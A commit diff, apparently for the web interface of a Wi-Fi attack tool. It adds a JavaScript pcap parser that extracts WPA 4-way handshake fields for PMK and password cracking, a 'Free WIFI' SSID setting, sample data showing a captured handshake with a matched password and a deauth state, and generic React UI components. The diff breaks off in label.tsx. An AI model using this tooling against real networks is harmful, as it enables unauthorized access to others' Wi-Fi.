Commit c9ca2bc
Changed files (35)
web
public
js
json
png
src
web/public/js/capfile.js
@@ -0,0 +1,825 @@
+/*
+ * DESIGN
+ * Using string-as-bytes per https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data
+ */
+
+/**
+ * RESEARCH
+ * Additional Reading and References:
+ *
+ * Details on WPA encryption (byte-level) - http://sid.rstack.org/pres/0810_BACon_WPA2_en.pdf
+ * - Includes details on "caching" repeated calls to "BODY"
+ *
+ * HMAC-SHA1 in JS - https://github.com/Caligatio/jsSHA/tree/v2.0.1
+ * - Try online: https://caligatio.github.io/jsSHA/
+ * - Text: "value"
+ * - Key: "secret"
+ *
+ * PBKDF2:
+ * - Apparently it's HMAC-SHA1() * 8192
+ * - But see https://en.wikipedia.org/wiki/PBKDF2
+ * - PBKDF2, DK = PBKDF2(PRF, Password, Salt, count, dkLen)
+ * - WPA, DK = PBKDF2(HMAC−SHA1, passphrase, ssid, 4096, 256)
+ *
+ *
+ * Load byte array from URL: https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data
+ *
+ * aircrack-ng sample WPA file: http://www.aircrack-ng.org/doku.php?id=wpa_capture
+ * Parsing .cap files: http://systemsarchitect.net/2014/03/12/parsing-binary-data-in-php-on-an-example-with-the-pcap-format/
+ *
+ * http://www.willhackforsushi.com/papers/80211_Pocket_Reference_Guide.pdf
+ *
+ * Details on 802.11 packet structures - http://www.studioreti.it/slide/802-11-Frame_E_C.pdf
+ *
+ *
+ * TODO:
+ * - Check bytes_.length >= header.length before parsing! (chocobo-new.cap is 'truncated', gives weird results)
+ * - Look at using ArrayBuffer + DataView internal JS structures.
+ * - Browser compatibility (ie, chrome, safari)
+ */
+
+
+/**
+ * Parse the given bytes of a Packet Capture (PCAP) file.
+ * Loads result into this.globalHeader (always) and list this.packetFrames (for known frame types).
+ *
+ * @param bytes (string? bytes?) Raw bytes from a .cap Pcap file.
+ * @param debug (boolean or function) If 'true': Dumps debug information to console.
+ * If 'false': Does not dump anything to console.
+ * If given a function, calls function with debug text.
+ */
+function CapFile(bytes, debug) {
+ if (debug) {
+ if (typeof debug === "boolean") {
+ // Default debug function
+ CapFile.debug = function(txt) {
+ console.log("[CapFile.js] " + txt);
+ }
+ }
+ else if (typeof debug === "function") {
+ CapFile.debug = debug;
+ }
+ else {
+ throw Error("Unexpected type of 'debug' option: " + (typeof debug));
+ }
+ }
+
+ this.bytes_ = bytes;
+ this.byteOffset_ = 0;
+ this.bytesTotal = this.bytes_.length;
+ //this.bytesHex = this.getHex(0, this.bytesTotal, " ");
+
+ this.parse();
+
+ delete this.bytes_;
+ delete this.byteOffset_;
+};
+
+// Configurations
+CapFile.useBigEndian = true;
+
+// Constants
+CapFile.MAGIC_NUMBER = 2712847316;
+CapFile.SUPPORTED_PCAP_VERSION = "2.4";
+CapFile.WLAN_HEADER_TYPE = 105;
+CapFile.GLOBAL_HEADER_LENGTH = 24;
+CapFile.PACKET_HEADER_LENGTH = 16;
+
+/**
+ * TODO: Log parse time for debug mode.
+ */
+CapFile.prototype.parse = function() {
+ // First chunk of bytes is global header.
+ this.byteOffset_ = 0;
+ this.globalHeader = CapFile.GlobalHeader.call(this);
+
+ // Ensure we can parse this Pcap file/ format version.
+ if (this.globalHeader.version !== CapFile.SUPPORTED_PCAP_VERSION) {
+ throw Error("Unsupported PCap File version (" + this.globalHeader.version + "). " +
+ "Unable to parse.");
+ }
+
+ // Restrict parsing to WLAN types.
+ if (this.globalHeader.headerType !== CapFile.WLAN_HEADER_TYPE) {
+ throw Error("Unsupported (non-WLAN) Pcap file header type (" + this.globalHeader.headerType + "). " +
+ "Unable to parse.");
+ }
+
+ // Skip past Blobal Header bytes.
+ this.byteOffset_ += CapFile.GLOBAL_HEADER_LENGTH;
+
+ // List of all identified frames in the cap file.
+ this.packetFrames = [];
+
+ var frame, skippedFrames = 0;
+ while (this.byteOffset_ < this.bytes_.length) {
+ frame = CapFile.WlanFrame.call(this);
+ if (frame && frame.name !== undefined && frame.name.indexOf("Unknown") === -1) {
+ // Only add known packet types to frames list.
+ this.packetFrames.push(frame);
+ }
+ else {
+ skippedFrames++;
+ }
+ }
+ if (CapFile.debug) {
+ var totalFrames = skippedFrames + this.packetFrames.length;
+ CapFile.debug("Parsed " + this.packetFrames.length + " known frames out of " + totalFrames + " total frames.");
+ }
+};
+
+/**
+ * Extract integer from bytes_ at current byteOffset_
+ *
+ * @param startIndex Index of first byte (added to byteOffset_)
+ * @param endIndex Index of last byte (added to byteOffset_)
+ * @param useBigEndian Override configuration, expect big-endian-style byte order (default: CapFile.useBigEndian)
+ * @param signed If integer should be signed (default: false)
+ *
+ * @return (int) Numeric-representation of data at byte location.
+ */
+CapFile.prototype.getInt = function(startIndex, endIndex, useBigEndian, signed) {
+ startIndex += this.byteOffset_;
+ endIndex += this.byteOffset_;
+
+ var intResult = 0, i, x;
+ if (useBigEndian == true || CapFile.useBigEndian) {
+ for (i = startIndex; i < endIndex; i++) {
+ intResult = intResult << 8;
+ x = this.bytes_.charCodeAt(i);
+ intResult = intResult | x;
+ }
+ } else {
+ for (i = endIndex - 1; i >= startIndex; i--) {
+ intResult = intResult << 8;
+ x = this.bytes_.charCodeAt(i);
+ intResult = intResult | x;
+ }
+ }
+
+ if (!signed) {
+ // convert to unsigned.
+ // See http://stackoverflow.com/a/1908655
+ intResult = (intResult >>> 0);
+ }
+ return intResult;
+};
+
+/**
+ * Extract hex characters from bytes_ at current byteOffset_
+ *
+ * @param startIndex (int) Index of first byte (added to byteOffset_)
+ * @param endIndex (int) Index of last byte (added to byteOffset_)
+ * @param byteSpacer (string) Separator between bytes (default: empty string)
+ * @param colSpacer (string) Separator between chunks of 8 bytes (default: empty string)
+ * @param rowSpacer (string) Separator between chunks of 16 bytes (default: empty string)
+ *
+ * @return (string) Hex-representation of data at byte location.
+ */
+CapFile.prototype.getHex = function(startIndex, endIndex, byteSpacer, colSpacer, rowSpacer) {
+ startIndex += this.byteOffset_;
+ endIndex += this.byteOffset_;
+
+ var byteList = [], hex, i, counter = 0;
+ if (byteSpacer) {
+ byteList.push("");
+ }
+
+ // Presume Big-endian for all hex value operations.
+ for (i = startIndex; i < endIndex; i++) {
+ hex = this.bytes_.charCodeAt(i).toString(16);
+ while (hex.length < 2) {
+ hex = "0" + hex;
+ }
+ counter++;
+ if (rowSpacer && counter % 16 == 0) {
+ hex += rowSpacer;
+ } else if (colSpacer && counter % 8 == 0) {
+ hex += colSpacer;
+ }
+ byteList.push(hex);
+ }
+
+ return byteList.join(byteSpacer || "");
+};
+
+/**
+ * Extract raw bytes from bytes_ at current byteOffset_
+ *
+ * @param startIndex (int) Index of first byte (added to byteOffset_)
+ * @param endIndex (int) Index of last byte (added to byteOffset_)
+ *
+ * @return (string? bytes?) Raw bytes of data at byte location.
+ */
+CapFile.prototype.getBytes = function(startIndex, endIndex) {
+ startIndex += this.byteOffset_;
+ endIndex += this.byteOffset_;
+
+ var byteList = [], hex, i;
+ for (i = startIndex; i < endIndex; i++) {
+ hex = this.bytes_.charAt(i);
+ byteList.push(hex);
+ }
+ if (CapFile.useBigEndian) {
+ byteList.reverse();
+ }
+ return byteList.join("");
+};
+
+/**
+ * Parses Pcap file global header (starting at byteOffset_, presumably "0").
+ *
+ * Requires reference to "this" CapFile object.
+ *
+ * More info on https://wiki.wireshark.org/Development/LibpcapFileFormat
+ *
+ * @return (object) containing:
+ * version (string) in format <major>.<minor> e.g. 2.4
+ * gmtOffset (signed int) Offset between packet timestamps and GMT timezone
+ * sigFigs (int) Accuracy of timestamps
+ * snapshotLength (int) Length of snapshot for the capture (in bytes)
+ * headerType (int) Link-Layer header type, e.g. LINKTYPE_IEEE802.11 = 105 (Wireless LAN)
+ */
+CapFile.GlobalHeader = function() {
+ // Presume big endian.
+ CapFile.useBigEndian = false;
+
+ // Set global endianess based on the magic number.
+ var magic_number = this.getInt(0, 4);
+ if (magic_number === CapFile.MAGIC_NUMBER) {
+ if (CapFile.debug) {
+ CapFile.debug("Using Little-Endian byte-encoding due to magic number: " + magic_number);
+ }
+ } else {
+ if (CapFile.debug) {
+ CapFile.debug("Using Big-Endian byte-encoding due to magic number: " + magic_number);
+ }
+ CapFile.useBigEndian = true;
+ magic_number = this.getInt(0, 4);
+ if (magic_number !== CapFile.MAGIC_NUMBER) {
+ throw Error("Can't read magic number! Got <" + magic_number + ">, but expecting <" + CapFile.MAGIC_NUMBER + ">");
+ }
+ }
+
+ var headers = {
+
+ // Version of cap file.
+ version: this.getInt(4, 6).toString(10) + "." + this.getInt(6, 8).toString(10),
+
+ // Difference between capfile timestamps and GMT (in seconds)
+ gmtOffset: this.getInt(8, 12, undefined, true),
+
+ // The accuracy of the capfile timestamps
+ sigFigs: this.getInt(12, 16),
+
+ // Length of snapshot for the capture.
+ // May cause "length" in PacketHeader to differ from "originalLength"
+ snapshotLength: this.getInt(16, 20),
+
+ // Link-layer header type. See http://www.tcpdump.org/linktypes.html
+ // e.g. LINKTYPE_IEEE802_11 = 105 (for Wireless LAN)
+ headerType: this.getInt(20, 24)
+
+ };
+
+ if (CapFile.debug) {
+ CapFile.debug("GlobalHeader (24 bytes):\n" + this.getHex(0, 24, " ", " ", "\n"));
+ }
+
+ return headers;
+};
+
+/**
+ * "Frame Builder". Parses entire frame at current bytesOffset_ location.
+ * Only supports detailed parsing of certain 802.11 WLAN frames - see CapFile.WlanFrame.* for more info
+ *
+ * Requires reference to "this" CapFile object -- call using CapFile.WlanFrame.call(this);
+ *
+ * @return (object) Frame information containing: {
+ * header: {
+ * timestamp: (Date) Timestamp of the packet as a Date object
+ * length: (int) Length of the packet/frame (in bytes)
+ * },
+ * frameControl: {
+ * version: (int) Frame version
+ * type: (int) Frame type (0=Management, 1=Control, 2=Data)
+ * subtype: (int) Frame subtype
+ * flags: {
+ * toDS: (boolean)
+ * fromDS: (boolean)
+ * moreFragments:(boolean)
+ * retry: (boolean)
+ * powerMgt: (boolean)
+ * moreData: (boolean)
+ * is_protected: (boolean)
+ * order: (boolean)
+ * }
+ * },
+ * duration: (int)
+ * addr1: (string) First address, as hex characters (no separator).
+ * }
+ *
+ * CONTROL FRAMES (type:1) will not contain any additional information.
+ *
+ * MANAGEMENT FRAMES (type:0) and DATA FRAMES (type:2) both contain more information: {
+ * addr2: (string) Second address, as hex characters (no separator).
+ * addr3: (string) Second address, as hex characters (no separator).
+ * fragmentNumber: (int)
+ * sequenceNumber: (int)
+ * }
+ *
+ * More info on MANAGEMENT frames: see CapFile.WlanFrame.Management
+ * More info on DATA frames: see CapFile.WlanFrame.Data
+ *
+ */
+CapFile.WlanFrame = function() {
+ var frame = {};
+
+ // Parse header
+ // Details on https://wiki.wireshark.org/Development/LibpcapFileFormat
+
+ // Convert timestamp to Date.
+ var timestampSec = this.getInt(0, 4);
+ var timestampUsec = this.getInt(4, 8);
+ var ts_usec = timestampSec * 1000;
+ ts_usec += (timestampUsec / 1000);
+ ts_usec += this.globalHeader.gmtOffset;
+ frame.header = {
+ timestamp: new Date(ts_usec),
+ length: this.getInt(8, 12),
+ originalLength: this.getInt(12, 16)
+ };
+
+ // Shift to frame body.
+ this.byteOffset_ += CapFile.PACKET_HEADER_LENGTH;
+
+ // Mark where this packet ends.
+ var endOfPacketOffset = this.byteOffset_ + frame.header.originalLength;
+
+ // Parse fields that are present in all Wlan frames.
+ // Details on https://en.wikipedia.org/wiki/IEEE_802.11#Layer_2_.E2.80.93_Datagrams
+ var frameControlBits = this.getInt(0, 1);
+ frame.frameControl = {
+ version: (frameControlBits >>> 0) & 0b11,
+ type: (frameControlBits >>> 2) & 0b11,
+ subtype: (frameControlBits >>> 4) & 0b1111
+ };
+
+ var frameControlFlags = this.getInt(1, 2);
+ frame.frameControl.flags = {
+ toDS: !!(frameControlFlags >>> 0 & 0b1),
+ fromDS: !!(frameControlFlags >>> 1 & 0b1),
+ moreFragments: !!(frameControlFlags >>> 2 & 0b1),
+ retry: !!(frameControlFlags >>> 3 & 0b1),
+ powerMgt: !!(frameControlFlags >>> 4 & 0b1),
+ moreData: !!(frameControlFlags >>> 5 & 0b1),
+ is_protected: !!(frameControlFlags >>> 6 & 0b1),
+ order: !!(frameControlFlags >>> 7 & 0b1)
+ };
+
+ frame.duration = this.getInt(2, 4);
+
+ frame.addr1 = this.getHex(4, 10);
+
+ // From here on, the fields may vary depending on the Frame Type (MANAGEMENT, CONTROL, DATA).
+ if (frame.frameControl.type === CapFile.WlanFrame.Types.CONTROL) {
+ // No other relevant data to parse.
+ } else {
+ // Capture similarities between Management and Data frames.
+ frame.addr2 = this.getHex(10, 16);
+ frame.addr3 = this.getHex(16, 22);
+ var fragSeq = this.getInt(22, 24);
+ frame.fragmentNumber = (fragSeq >>> 0) & 0b1111;
+ frame.sequenceNumber = (fragSeq >>> 4) & 0b111111111111;
+
+ var toDS = frame.frameControl.flags.toDS,
+ fromDS = frame.frameControl.flags.fromDS;
+ if (toDS && !fromDS) {
+ frame._bssid = frame.addr1;
+ frame._station = frame.addr2;
+
+ }
+ else if (!toDS && fromDS) {
+ frame._bssid = frame.addr2;
+ frame._station = frame.addr1;
+
+ }
+ else if (!toDS && !fromDS) {
+ frame._bssid = frame.addr3;
+ frame._station = undefined;
+
+ }
+ else if (toDS && fromDS) {
+ // No idea
+ frame._bssid = undefined;
+ frame._station = undefined;
+
+ }
+
+ // Skip to just past the sequence number.
+ this.byteOffset_ += 24;
+
+ if (frame.frameControl.type === CapFile.WlanFrame.Types.MANAGEMENT) {
+ // Parse frame in context of a Management Frame.
+ CapFile.WlanFrame.Management.call(this, frame, endOfPacketOffset);
+ }
+ else if (frame.frameControl.type === CapFile.WlanFrame.Types.DATA) {
+ // Parse frame in context of a Data frame.
+ CapFile.WlanFrame.Data.call(this, frame, endOfPacketOffset);
+ }
+ }
+
+ // Shift to end of frame.
+ this.byteOffset_ = endOfPacketOffset;
+
+ return frame;
+};
+
+CapFile.WlanFrame.Types = {
+ MANAGEMENT: 0,
+ CONTROL: 1,
+ DATA: 2
+};
+
+/**
+ * Adds any additional information about this Management packet to the given frame.
+ * Only a subset of Management frames are supported.
+ *
+ * Focus is on getting SSID from the Management frames' "tagged parameters".
+ * Other tagged parameters are read (and stored as Hex) but are not parsed.
+ *
+ * Requires reference to "this" CapFile object -- call using CapFile.WlanFrame.Management.call(this, ...);
+ *
+ * Increments CapFile.byteOffset_ to end of the Management frame.
+ *
+ * @param frame (object) Reference to the currently-parsed frame.
+ * @param endOfPacketOffset (int) The Offset, in relation to byteOffset_, in which this packet ends.
+ */
+CapFile.WlanFrame.Management = function(frame, endOfPacketOffset) {
+ // Management frames contain:
+ // 1. Fixed Parameters (variable length, depends on frameControl.subtype).
+ // 2. Tagged Parameters (variable length, defined in 'length' bytes).
+
+ var fixedParamLength;
+ if (frame.frameControl.subtype === 0) {
+ frame.name = "Association Request";
+ fixedParamLength = 4;
+ }
+ else if (frame.frameControl.subtype === 1) {
+ frame.name = "Association Response";
+ fixedParamLength = 6;
+ }
+ else if (frame.frameControl.subtype === 8) {
+ frame.name = "Beacon";
+ fixedParamLength = 12;
+ }
+ else if (frame.frameControl.subtype === 5) {
+ frame.name = "Probe Response";
+ fixedParamLength = 12;
+ }
+ else if (frame.frameControl.subtype === 11) {
+ frame.name = "Authentication";
+ fixedParamLength = 6;
+ }
+ else if (frame.frameControl.subtype === 12) {
+ frame.name = "Deauthentication";
+ fixedParamLength = 2;
+ }
+ else if (frame.frameControl.subtype === 13) {
+ frame.name = "Action";
+ fixedParamLength = 9;
+ }
+
+ if (!fixedParamLength) {
+ // Unable to parse tagged parameters without knowing fixed parameter length.
+ frame.name = "Unknown Management Frame subtype (" + frame.frameControl.subtype + ")";
+ return;
+ }
+
+ // TODO: Parse fixed parameters. Skipping for now.
+ this.byteOffset_ += fixedParamLength;
+
+
+ // Parse tagged parameters.
+ frame.taggedParameters = {};
+ while (this.byteOffset_ < endOfPacketOffset) {
+ var tag = {};
+ var tagIndex = this.getInt(0, 1);
+ var tagLength = this.getInt(1, 2);
+ if (tagIndex === 0) {
+ // SSID
+ var tagData = this.getBytes(2, 2 + tagLength);
+ frame.taggedParameters[tagIndex] = {
+ name: "SSID",
+ length: tagLength,
+ data: tagData
+ };
+ frame.description = "SSID: " + tagData;
+ }
+ else {
+ // Don't care about other tags.
+ var tagData = this.getHex(2, 2 + tagLength);
+ frame.taggedParameters[tagIndex] = {
+ name: "N/A",
+ length: tagLength,
+ data: tagData
+ };
+ }
+ // Shift to next tagged paramter (or end of packet).
+ this.byteOffset_ += tagLength + 2;
+ }
+};
+
+/**
+ * Adds any additional information about this Data frame to the given frame.
+ * Only a small subset of Data frames are supported.
+ *
+ * Focus is on getting EAPOL (WPA handshake-related) information.
+ *
+ * Requires reference to "this" CapFile object -- call using CapFile.WlanFrame.Data.call(this, ...);
+ *
+ * Increments CapFile.byteOffset_ to end of the Data frame (if known).
+ * Otherwise does not change CapFile.byteOffset_
+ *
+ * @param frame (object) Reference to the currently-parsed frame.
+ * @param endOfPacketOffset (int) The Offset, in relation to byteOffset_, in which this packet ends.
+ */
+CapFile.WlanFrame.Data = function(frame, endOfPacketOffset) {
+ if ((frame.frameControl.subtype & 0b111) !== 0) {
+ // Only support EAPOL (and EAPOL+QoS) packets.
+ frame.name = "Unknown Data Frame subtype (" + frame.frameControl.subtype + ")";
+ return;
+ }
+
+ if (frame.frameControl.flags.toDS && frame.frameControl.flags.fromDS) {
+ // toDS and fromDS are set, expect addr4
+ frame.addr4 = this.getHex(0, 6);
+ this.byteOffset_ += 6;
+ }
+
+ if ((frame.frameControl.subtype & 0b1000) === 8) {
+ // QoS flag is set. Expect QoS control field.
+ frame.qosControl = this.getHex(0, 2);
+ this.byteOffset_ += 2;
+ frame.name = "EAPOL (QoS)";
+ }
+ else {
+ frame.name = "EAPOL";
+ }
+
+ if (frame.frameControl.flags.order) {
+ // Expect (and skip) HT Control field.
+ this.byteOffset_ += 4;
+ }
+
+ // Skip Logical-Link Control bytes
+ this.byteOffset_ += 8;
+
+ frame.bytes = this.getHex(0, endOfPacketOffset - this.byteOffset_);
+
+ // Parse Data frame body -- expect 802.1x auth packet.
+ var authVersion = this.getInt(0, 1);
+ var authType = this.getInt(1, 2);
+ frame.auth = {
+ version: authVersion, // 1=802.1X-2001
+ type: authType, // 3=Key
+ authLength: this.getInt(2, 4, true, false),
+ keyDescriptorType: this.getInt(4, 5), // 2=EAPOL RSN Key
+ keyInfo: this.getInt(5, 7, true, false),
+ keyLength: this.getInt(7, 9, true, false),
+ replayCounter: this.getInt(9, 17, true, false),
+ keyNonce: this.getHex(17, 49),
+ keyIV: this.getHex(49, 65),
+ keyRSC: this.getHex(65, 73),
+ keyID: this.getHex(73, 81),
+ keyMIC: this.getHex(81, 97),
+ keyDataLength: this.getInt(97, 99, true, false)
+ };
+ frame.auth.keyInfoFlags = {
+ keyDescriptorVersion: (frame.auth.keyInfo >>> 0) & 0b111, // 2=AES Cipher, HMAC-SHA1 MIC
+ keyType: (frame.auth.keyInfo >>> 3) & 0b1, // 1=Pairwise Key
+ keyIndex: (frame.auth.keyInfo >>> 4) & 0b11,
+ install: !!((frame.auth.keyInfo >>> 6) & 0b1 ),
+ ack: !!((frame.auth.keyInfo >>> 7) & 0b1 ),
+ mic: !!((frame.auth.keyInfo >>> 8) & 0b1 ),
+ secure: !!((frame.auth.keyInfo >>> 9) & 0b1 ),
+ error: !!((frame.auth.keyInfo >>> 10) & 0b1 ),
+ request: !!((frame.auth.keyInfo >>> 11) & 0b1 ),
+ encrypted: !!((frame.auth.keyInfo >>> 12) & 0b1 )
+ };
+ this.byteOffset_ += 99;
+
+ if (frame.auth.keyDataLength > 0) {
+ frame.auth.keyData = this.getHex(0, frame.auth.keyDataLength);
+ this.byteOffset_ += frame.auth.keyDataLength;
+ }
+
+ // Set handshake number
+ if (frame.frameControl.flags.fromDS) {
+ // Either 1 or 3
+ if (frame.auth.keyInfoFlags.mic) {
+ frame.description = "Handshake (3 of 4)";
+ } else {
+ frame.description = "Handshake (1 of 4)";
+ }
+ } else {
+ if (frame.auth.keyInfoFlags.secure) {
+ frame.description = "Handshake (4 of 4)";
+ } else {
+ frame.description = "Handshake (2 of 4)";
+ }
+ }
+
+};
+
+/**
+ * Identify 4-way handshake(s), extract information required for calculating PMK.
+ */
+CapFile.prototype.extractPmkFields = function(givenSsid) {
+ // Look for SSID name in previous beacons/auth packets
+
+ var bssid_to_ssid = {};
+ var i, frame;
+ for (i = 0; i < this.packetFrames.length; i++) {
+ frame = this.packetFrames[i];
+ if (!frame.hasOwnProperty("taggedParameters")
+ || !frame.hasOwnProperty("_bssid")) {
+ continue;
+ }
+ var tags = frame.taggedParameters;
+ if (!tags.hasOwnProperty("0")) {
+ continue;
+ }
+ var tag = tags["0"];
+ if (!tag.hasOwnProperty("name") || tag.name !== "SSID") {
+ continue;
+ }
+ if (!givenSsid || tag.data === givenSsid) {
+ bssid_to_ssid[frame._bssid] = tag.data;
+ }
+ else if (CapFile.debug) {
+ CapFile.debug("Ignoring discovered SSID <" + tag.data + "> because it does not match given SSID <" + givenSSID + ">");
+ }
+ }
+
+ var handshakes = [];
+
+ // Iterate over all known BSSIDs
+ var bssids = [], ssid;
+ for (var bssid in bssid_to_ssid) {
+ if (!bssid_to_ssid.hasOwnProperty(bssid)) {
+ continue;
+ }
+ bssids.push(bssid);
+ ssid = bssid_to_ssid[bssid];
+
+ // Look for last 3 frames of handshake
+ if (CapFile.debug) {
+ CapFile.debug("Looking for handshake for bssid: " + bssid + ", ssid: " + ssid);
+ }
+
+ var fc, mic, ack, install, dataLength;
+ var hsSrcAddress, hsDstAddress, snonce, anonce, hsKeyLength, hsReplayCounter, hsMic, hsKeyDescriptorVersion;
+ for (i = 0; i < this.packetFrames.length; i++) {
+ frame = this.packetFrames[i];
+
+ // Filter by packet type.
+ fc = frame.frameControl;
+ if (fc.type !== 2 || (fc.subtype !== 0 && fc.subtype !== 8)) {
+ // Not an EAPOL WPA data frame, skip.
+ continue;
+ }
+
+ // Filter for the BSSID we're looking for.
+ if (frame._bssid !== bssid) {
+ if (CapFile.debug) {
+ CapFile.debug("Skipping frame #" + i + ": BSSID: " + frame._bssid + " is not from " + bssid);
+ }
+ continue;
+ }
+
+ // Store fields used in all handshakes.
+ mic = frame.auth.keyInfoFlags.mic;
+ ack = frame.auth.keyInfoFlags.ack;
+ install = frame.auth.keyInfoFlags.install;
+ dataLength = frame.auth.keyDataLength;
+
+ /* Handshake (2 of 4):
+ * mic:true
+ * ack:false
+ * install:false
+ * keyDataLength > 0)
+ *
+ * Extract:
+ * - keynonce (SNonce , the nonce from STATION)
+ */
+ if (mic && !ack && !install && dataLength > 0) {
+ // Reset variables from Handshakes #3 and #4
+ hsSrcAddress = hsDstAddress = anonce = hsKeyLength = hsReplayCounter = hsMic = hsKeyDescriptorVersion = undefined;
+
+ // Extract SNonce
+ snonce = frame.auth.keyNonce;
+ if (CapFile.debug) {
+ CapFile.debug("Handshake (2 of 4): Found SNonce: " + snonce);
+ }
+ continue;
+ }
+
+ /* Handshake (3 of 4):
+ * mic:true
+ * ack:true
+ * install:true
+ *
+ * Extract:
+ * - src_address (STATION)
+ * - dst_address (AP)
+ * - ANonce (from AP)
+ * - replay_counter (for Handshake 4 of 4)
+ */
+ if (mic && ack && install) {
+ if (!snonce) {
+ // Require Handshake #2
+ continue;
+ }
+
+ // Reset variables from Handshake #4
+ hsMic = hsKeyDescriptorVersion = undefined;
+
+ // Extract variables
+ hsSrcAddress = frame._station;
+ hsDstAddress = frame._bssid;
+ anonce = frame.auth.keyNonce;
+ hsReplayCounter = frame.auth.replayCounter;
+ hsKeyLength = frame.auth.keyLength;
+ if (CapFile.debug) {
+ CapFile.debug("Handshake (3 of 4): src: " + hsSrcAddress +
+ ", dst: " + hsDstAddress +
+ ", ANonce: " + anonce +
+ ", counter: " + hsReplayCounter);
+ }
+ continue;
+ }
+
+ /* Handshake (4 of 4):
+ * mic:true
+ * ack:false
+ * install:false
+ * replay_couner: <same as Handshake (3 of 4)>
+ * (And/Or) key_data_length == 0 (data === undefined)
+ *
+ * Extract:
+ * - MIC
+ * - "EAPOL frame"
+ */
+ if (mic && !ack && !install
+ && hsReplayCounter && hsReplayCounter === frame.auth.replayCounter
+ && dataLength === 0) {
+ if (!anonce) {
+ // Require handshake #3.
+ continue;
+ }
+
+ hsMic = frame.auth.keyMIC;
+ hsKeyDescriptorVersion = frame.auth.keyInfoFlags.keyDescriptorVersion;
+ var eapolFrameBytes = frame.bytes;
+ eapolFrameBytes = eapolFrameBytes.substring(0, eapolFrameBytes.length - 36);
+ for (var j = 0; j < 36; j++) {
+ eapolFrameBytes += "0";
+ }
+ if (CapFile.debug) {
+ CapFile.debug("Handshake (4 of 4): MIC: " + hsMic + ", eapolFrameBytes: " + eapolFrameBytes);
+ }
+
+ handshakes.push({
+ ssid: ssid,
+ bssid: bssid,
+ snonce: snonce,
+ anonce: anonce,
+ srcAddress: hsSrcAddress,
+ dstAddress: hsDstAddress,
+ keyLength: hsKeyLength,
+ mic: hsMic,
+ eapolFrameBytes: eapolFrameBytes,
+ keyDescriptorVersion: hsKeyDescriptorVersion
+ });
+ continue;
+ }
+ }
+ }
+
+ if (bssids.length === 0) {
+ throw Error("No SSIDs found");
+ }
+
+ if (handshakes.length === 0) {
+ throw Error("No handshakes found");
+ }
+
+ // TODO: Return all handshakes? Or just the first one?
+ if (CapFile.debug) {
+ CapFile.debug("Captured " + handshakes.length + " 4-way handshakes: " + JSON.stringify(handshakes));
+ CapFile.debug("Using first 4-way handshake captured: " + JSON.stringify(handshakes[0]));
+ }
+ return handshakes[0];
+
+};
web/public/json/config.json
@@ -0,0 +1,3 @@
+{
+ "ssid":"Free WIFI"
+}
\ No newline at end of file
web/public/json/datas.json
@@ -0,0 +1,4 @@
+{
+ "handshakes": [],
+ "passwords":[]
+}
\ No newline at end of file
web/public/png/router.png
Binary file
web/public/temp/temp-datas.json
@@ -0,0 +1,21 @@
+{
+ "handshakes": [
+ {
+ "ssid": "Harkonen",
+ "snonce": "59168bc3a5df18d71efb6423f340088dab9e1ba2bbc58659e07b3764b0de8570",
+ "anonce": "225854b0444de3af06d1492b852984f04cf6274c0e3218b8681756864db7a055",
+ "srcAddress": "001346fe320c",
+ "dstAddress": "00146c7e4080",
+ "mic": "9dc81ca6c4c729648de7f00b436335c8",
+ "eapolFrameBytes": "0103005f02030a0010000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
+ }
+ ],
+ "passwords": [
+ {
+ "ssid": "Harkonen",
+ "password": "12345678",
+ "matched": true,
+ "handshakes": true
+ }
+ ]
+}
web/public/temp/temp-networks.json
@@ -0,0 +1,10 @@
+[
+ {
+ "ssid": "Harkonen",
+ "bssid": "00:14:6C:7E:40:80",
+ "signal": "-59",
+ "channel": "2",
+ "encryption": "AUTO",
+ "deauthState": "0"
+ }
+]
web/public/temp/temp-ssid.json
@@ -0,0 +1,3 @@
+{
+ "ssid": "Harkonen"
+}
web/src/components/ui/data-table.tsx
@@ -0,0 +1,64 @@
+import { ColumnDef, flexRender, getCoreRowModel, useReactTable } from "@tanstack/react-table"
+
+import {
+ Table,
+ TableBody,
+ TableCell,
+ TableHead,
+ TableHeader,
+ TableRow,
+} from "@/components/ui/table"
+
+interface DataTableProps<TData, TValue> {
+ columns: ColumnDef<TData, TValue>[]
+ data: TData[]
+}
+
+export function DataTable<TData, TValue>({ columns, data }: DataTableProps<TData, TValue>) {
+ const table = useReactTable({
+ data,
+ columns,
+ getCoreRowModel: getCoreRowModel(),
+ })
+
+ return (
+ <div className="rounded-md border">
+ <Table>
+ <TableHeader>
+ {table.getHeaderGroups().map((headerGroup) => (
+ <TableRow key={headerGroup.id}>
+ {headerGroup.headers.map((header) => {
+ return (
+ <TableHead key={header.id}>
+ {header.isPlaceholder
+ ? null
+ : flexRender(header.column.columnDef.header, header.getContext())}
+ </TableHead>
+ )
+ })}
+ </TableRow>
+ ))}
+ </TableHeader>
+ <TableBody>
+ {table.getRowModel().rows?.length ? (
+ table.getRowModel().rows.map((row) => (
+ <TableRow key={row.id} data-state={row.getIsSelected() && "selected"}>
+ {row.getVisibleCells().map((cell) => (
+ <TableCell key={cell.id}>
+ {flexRender(cell.column.columnDef.cell, cell.getContext())}
+ </TableCell>
+ ))}
+ </TableRow>
+ ))
+ ) : (
+ <TableRow>
+ <TableCell colSpan={columns.length} className="h-24 text-center">
+ No results.
+ </TableCell>
+ </TableRow>
+ )}
+ </TableBody>
+ </Table>
+ </div>
+ )
+}
web/src/components/ui/input.tsx
@@ -0,0 +1,25 @@
+import * as React from "react"
+
+import { cn } from "@/lib/utils"
+
+export interface InputProps
+ extends React.InputHTMLAttributes<HTMLInputElement> {}
+
+const Input = React.forwardRef<HTMLInputElement, InputProps>(
+ ({ className, type, ...props }, ref) => {
+ return (
+ <input
+ type={type}
+ className={cn(
+ "flex h-10 w-full rounded-md border border-input bg-background px-3 py-2 text-sm file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-muted-foreground focus-visible:outline-none disabled:cursor-not-allowed disabled:opacity-50",
+ className
+ )}
+ ref={ref}
+ {...props}
+ />
+ )
+ }
+)
+Input.displayName = "Input"
+
+export { Input }
web/src/components/ui/label.tsx
@@ -0,0 +1,24 @@
+import * as React from "react"
+import * as LabelPrimitive from "@radix-ui/react-label"
+import { cva, type VariantProps } from "class-variance-authority"
+
+import { cn } from "@/lib/utils"
+
+const labelVariants = cva(
